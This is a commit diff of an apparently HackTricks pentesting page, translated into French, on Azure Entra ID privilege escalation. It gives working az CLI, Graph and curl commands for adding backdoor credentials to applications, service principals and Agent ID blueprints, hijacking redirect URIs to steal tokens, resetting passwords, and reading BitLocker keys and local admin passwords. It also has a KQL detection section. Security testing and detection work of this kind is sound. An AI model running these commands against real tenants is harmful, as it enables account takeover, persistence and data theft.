Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:23:23 +00:00
parent 89a5882537
commit 0d9a1aa6c0
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Note that **all the granular permissions** built-in roles have in Entra ID **are not eligible to be used in custom roles.**
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner plus de permissions aux rôles. Les deux actions pourraient être abusées pour escalader les privilèges.
- Assign role to a user:
```bash
@@ -52,22 +52,53 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Cela permet à un attaquant d**ajouter des credentials** (mots de passe ou certificats) à des applications existantes. Si lapplication a des permissions privilégiées, lattaquant peut sauthentifier en tant que cette application et obtenir ces privilèges.
Cela permet à un attaquant d'**ajouter des credentials** (passwords ou certificats) à des applications existantes. Si l'application dispose de permissions privilégiées, l'attaquant peut s'authentifier en tant que cette application et obtenir ces privilèges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/allProperties/update`
Cette permission accorde la mise à jour de **chaque propriété modifiable** de toute inscription dapplication **single-tenant** (`signInAudience = AzureADMyOrg`), y compris `passwordCredentials` et `keyCredentials`. Elle est marquée `IsPrivileged: true` dans le catalog mais nest **pas** présente dans un built-in role — elle apparaît presque exclusivement dans des **custom roles** quun admin crée pour déléguer « manage our internal apps » sans réaliser que le sous-type `.myOrganization` limite en fait laction exactement au groupe dapps le plus susceptible de détenir des permissions Microsoft Graph privilégiées.
- Enumerate apps with privileged Microsoft Graph permissions consented:
```bash
# SPs with at least one Microsoft Graph app role assigned
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
-o table
# Resolve a RoleId to the human-readable permission name
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
--query "appRoles[?id=='<RoleId>'].value" -o tsv
```
- Confirmez que la cible est single-tenant (dans le scope du sous-type `.myOrganization`):
```bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
--query "{audience:signInAudience, name:displayName}"
# audience must be "AzureADMyOrg"
```
- Injecter un credential dans l'application cible — l'unique étape privilégiée de la chaîne :
```bash
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
--headers "Content-Type=application/json" \
--body '{"passwordCredential":{"displayName":"backdoor"}}'
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications à répertoire unique.
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications dun seul répertoire.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
En s'ajoutant comme owner, un attaquant peut manipuler l'application, y compris les credentials et les permissions.
En s'ajoutant comme owner, un attacker peut manipuler l'application, y compris les credentials et les permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent la nouvelle redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification se fera automatiquement sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des login URLs qui utilisent le nouveau redirect URL afin de voler leurs tokens. Notez que si lutilisateur était déjà connecté à lapplication, lauthentication sera automatique sans que lutilisateur ait besoin daccepter quoi que ce soit.
Notez qu'il est aussi possible de modifier les permissions demandées par l'application afin d'obtenir davantage de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
Notez quil est aussi possible de changer les permissions que lapplication demande afin dobtenir plus de permissions, mais dans ce cas lutilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,11 +119,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** attribuées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque tenant Entra ID**.
**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** assignées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans login d'un utilisateur dans l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque tenant Entra ID**.
Ensuite, si un attacker dispose de n'importe quelle permission/rôle qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
Ensuite, si un attaquant a n'importe quelle permission/role qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant que l'application**, obtenant ainsi toutes les permissions dont l'application dispose.
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, mais quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est maintenant plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **applications custom avec de hauts privilèges qui pourraient être abusées**.
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, cependant quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est maintenant plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **custom applications avec de hauts privilèges qui pourraient être abusées**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Find all applications API permissions and mark Microsoft-owned APIs</summary>
<summary>Trouver toutes les permissions API des applications et marquer les API appartenant à Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attacker peut assumer ces privilèges.
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être un moyen furtif de maintenir une persistence sur un service principal.\
> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être une façon furtive de maintenir une persistence sur un service principal.\
> Depuis l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord laverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord lebloquer. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Abus d'identifiants du blueprint Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
### Abus didentifiants du blueprint Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
Les **agent identity blueprints** sont des objets application et chaque blueprint crée également un **agent identity blueprint principal** dans le tenant. Les **agent identities** sont des enfants dérivés du service principal de ce chemin de blueprint. Par conséquent, si un attaquant peut **ajouter un mot de passe/certificat au blueprint** ou a déjà volé lun de ses identifiants, il peut ensuite sauthentifier en tant que **blueprint principal** et demander des tokens pour les agent identities enfants.
**Les blueprints didentité dagent** sont des objets dapplication et chaque blueprint crée aussi un **principal de blueprint didentité dagent** dans le tenant. Les **identités dagent** sont des enfants dérivés de service-principal de ce chemin de blueprint. Par conséquent, si un attaquant peut **ajouter un mot de passe/certificat au blueprint** ou a déjà volé lun de ses identifiants, il peut ensuite sauthentifier en tant que **principal du blueprint** et demander des tokens pour les identités dagent enfants.
Cela transforme une mauvaise attribution de rôle Entra Agent ID en :
- **Persistence** : le nouveau `passwordCredential` reste sur le blueprint jusqu’à sa suppression
- **Privilege escalation** : un agent low-trust/dev peut passer vers un autre blueprint high-trust puis agir en tant que ses agent identities enfants
- **Persistence** : le nouveau `passwordCredential` reste sur le blueprint jusqu’à suppression
- **Privilege escalation** : un agent dev/de faible confiance peut passer vers un autre blueprint de haute confiance puis agir comme ses agents enfants
Les chemins dangereux typiques sont :
- Un agent identity compromis avec **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Une identité dagent compromise avec **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Un owner/sponsor/admin compromis capable de gérer le blueprint
- Le vol dun secret/certificat de blueprint existant
Ajouter un nouveau secret au blueprint cible :
Ajoutez un nouveau secret au blueprint cible :
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
@@ -280,7 +311,7 @@ Ou avec Microsoft Graph PowerShell :
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Si la nouvelle credential est acceptée, authentifiez-vous en tant que **blueprint principal** et abusez de lAgent ID token exchange. La première requête utilise la blueprint credential et définit **`fmi_path`** sur lidentité de lagent cible. Le token retourné est ensuite réutilisé comme **JWT bearer `client_assertion`** pour obtenir un Microsoft Graph token pour cette identité dagent.
Si le nouveau credential est accepté, authentifiez-vous en tant que **blueprint principal** et abusez de lAgent ID token exchange. La première requête utilise le blueprint credential et définit **`fmi_path`** sur lidentité de lagent cible. Le token renvoyé est ensuite réutilisé comme **JWT bearer `client_assertion`** pour obtenir un Microsoft Graph token pour cette identité dagent.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Si un blueprint **dev** ou son agent enfant peut ajouter des credentials à un blueprint **prod**, lattaquant franchit la frontière de confiance attendue entre blueprint/agent et obtient un accès durable à linfrastructure de lagent cible.
> Si un blueprint **dev** ou son agent enfant peut ajouter des credentials à un blueprint **prod**, l'attaquant franchit la frontière de confiance attendue entre blueprint/agent et obtient un accès durable à l'infrastructure de l'agent cible.
Quick validation / scoping:
```powershell
@@ -313,30 +344,30 @@ $app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
$app.AdditionalProperties['@odata.type']
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```
Notes de chasse :
Notes de hunting :
- Recherchez **`Update application Certificates and secrets management`** dans [Az - Monitoring](../../az-services/az-monitoring.md)
- Corrélez **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, et **`AADServicePrincipalSignInLogs`** en utilisant le temps, lID du service principal, le user-agent, lIP, et `SignInActivityId` / `UniqueTokenIdentifier`
- Cherchez **`Update application Certificates and secrets management`** dans [Az - Monitoring](../../az-services/az-monitoring.md)
- Corrélez **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, et **`AADServicePrincipalSignInLogs`** en utilisant l'heure, lID du service principal, le user-agent, lIP, et `SignInActivityId` / `UniqueTokenIdentifier`
- Dans `MicrosoftGraphActivityLogs`, vérifiez `RequestUri` se terminant par **`/applications/<id>/microsoft.graph.addPassword`** et si `Roles` contient **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Dans `AADServicePrincipalSignInLogs`, examinez `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, et si la nouvelle clé a ensuite été utilisée
KQL minimal pour voir si le nouveau secret ajouté sest authentifié :
KQL minimal pour voir si le secret nouvellement ajouté sest authentifié :
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
Ceci est lié à l[abuse de credential dapplication](../../az-services/az-azuread.md#applications) générique et à la [persistance de credential de service principal](../../az-persistence/README.md#applications-and-service-principals), mais Entra Agent ID ajoute une deuxième étape où le blueprint credential peut être échangé contre un **different agent identity token**.
Ceci est lié à [application credential abuse](../../az-services/az-azuread.md#applications) générique et à [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), mais Entra Agent ID ajoute une deuxième étape où le blueprint credential peut être échangé contre un **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Cela permet à un attaquant dajouter des credentials aux service principals existants. Si le service principal a des privilèges élevés, lattaquant peut hériter de ces privilèges.
Cela permet à un attaquant d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Comme pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet d'en contrôler les credentials et les permissions.
Comme pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet de contrôler ses credentials et ses permissions.
```bash
# Add new owner
spId="<spId>"
@@ -354,7 +385,7 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Après avoir ajouté un nouvel owner, jai essayé de le supprimer, mais lAPI a répondu que la méthode DELETE n’était pas prise en charge, même si cest la méthode quil faut utiliser pour supprimer lowner. Donc, vous **ne pouvez pas supprimer les owners actuellement**.
> Après avoir ajouté un nouveau owner, jai essayé de le supprimer mais lAPI a répondu que la méthode DELETE n’était pas prise en charge, même si cest la méthode quil faut utiliser pour supprimer le owner. Donc, vous **ne pouvez plus supprimer des owners actuellement**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ces permissions permettent de créer et dobtenir des credentials pour le single sign-on, ce qui pourrait permettre daccéder à des applications tierces.
Ces permissions permettent de créer et d'obtenir des credentials pour le single sign-on, ce qui pourrait permettre l'accès à des applications tierces.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -392,34 +423,34 @@ az rest --method POST \
```
---
## Groups
## Groupes
### `microsoft.directory/groups/allProperties/update`
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui conduit à une élévation de privilèges.
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui mène à une escalade de privilèges.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note** : Cette permission exclut les groupes assignables de rôle Entra ID.
**Note**: Cette permission exclut les groupes assignables à un rôle Entra ID.
### `microsoft.directory/groups/owners/update`
Cette permission permet de devenir propriétaire de groupes. Un propriétaire d'un groupe peut contrôler l'appartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
Cette permission permet de devenir propriétaire de groupes. Un propriétaire dun groupe peut contrôler lappartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note** : Cette permission exclut les groupes assignables aux rôles Entra ID.
**Note** : Cette permission exclut les groupes assignables à un rôle Entra ID.
### `microsoft.directory/groups/members/update`
Cette permission permet d'ajouter des membres à un groupe. Un attaquant pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés, ce qui peut accorder un accès élevé.
Cette permission permet d'ajouter des membres à un groupe. Un attaquant pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés afin d'obtenir un accès élevé.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
Cette permission permet de mettre à jour la règle d'appartenance dans un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -430,11 +461,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Note**: Cette permission exclut les groupes assignables à des rôles Entra ID.
**Note**: Cette permission exclut les groupes attribuables à des rôles Entra ID.
### Dynamic Groups Privesc
Il peut être possible pour des utilisateurs descalader leurs privilèges en modifiant leurs propres propriétés afin d’être ajoutés en tant que membres de groupes dynamiques. Pour plus dinfos, consultez :
Il pourrait être possible pour des utilisateurs descalader les privilèges en modifiant leurs propres propriétés afin d’être ajoutés comme membres de dynamic groups. Pour plus dinfos, consultez :
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, ce qui permet à un attaquant potentiel descalader ses privilèges vers dautres utilisateurs. Cette permission ne peut pas être attribuée à des rôles personnalisés.
Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, ce qui permet à un attaquant potentiel descalader les privilèges vers dautres utilisateurs. Cette permission ne peut pas être assignée à des custom roles.
```bash
# Update user password
userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour devenir membre d'un dynamic group spécifique et escalader les privilèges.
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour être membre d'un groupe dynamique spécifique et d'escalader ses privilèges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -480,9 +511,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Politiques d'accès conditionnel et contournement de MFA
## Stratégies d'accès conditionnel & contournement de MFA
Des politiques d'accès conditionnel mal configurées nécessitant MFA peuvent être contournées, vérifiez :
Les stratégies d'accès conditionnel mal configurées nécessitant MFA pourraient être contournées, vérifier :
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Cette permission permet aux attaquants de s'assigner eux-mêmes comme owners de devices afin de prendre le contrôle ou d'accéder à des paramètres et des données spécifiques au device.
Cette permission permet aux attackers de s'attribuer eux-mêmes en tant que owners de devices afin d'obtenir le contrôle ou l'accès aux paramètres et aux données spécifiques au device.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Cette permission permet aux attaquants d'associer leur compte à des devices afin d'obtenir un accès ou de contourner des politiques de sécurité.
Cette permission permet aux attaquants dassocier leur compte à des devices pour obtenir laccès ou contourner des politiques de sécurité.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Cette permission permet aux attackers de lire les propriétés des credentials de compte administrateur local sauvegardés pour les devices Microsoft Entra joined, y compris le mot de passe
Cette permission permet aux attackers de lire les propriétés des credentials de compte administrateur local sauvegardés pour les devices Microsoft Entra joined, including le password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -529,7 +560,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Cette permission permet daccéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des lecteurs, compromettant la confidentialité des données.
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant la confidentialité des données.
```bash
# List recovery keys
az rest --method GET \
@@ -550,7 +581,7 @@ az rest --method GET \
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`
## Références
## References
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)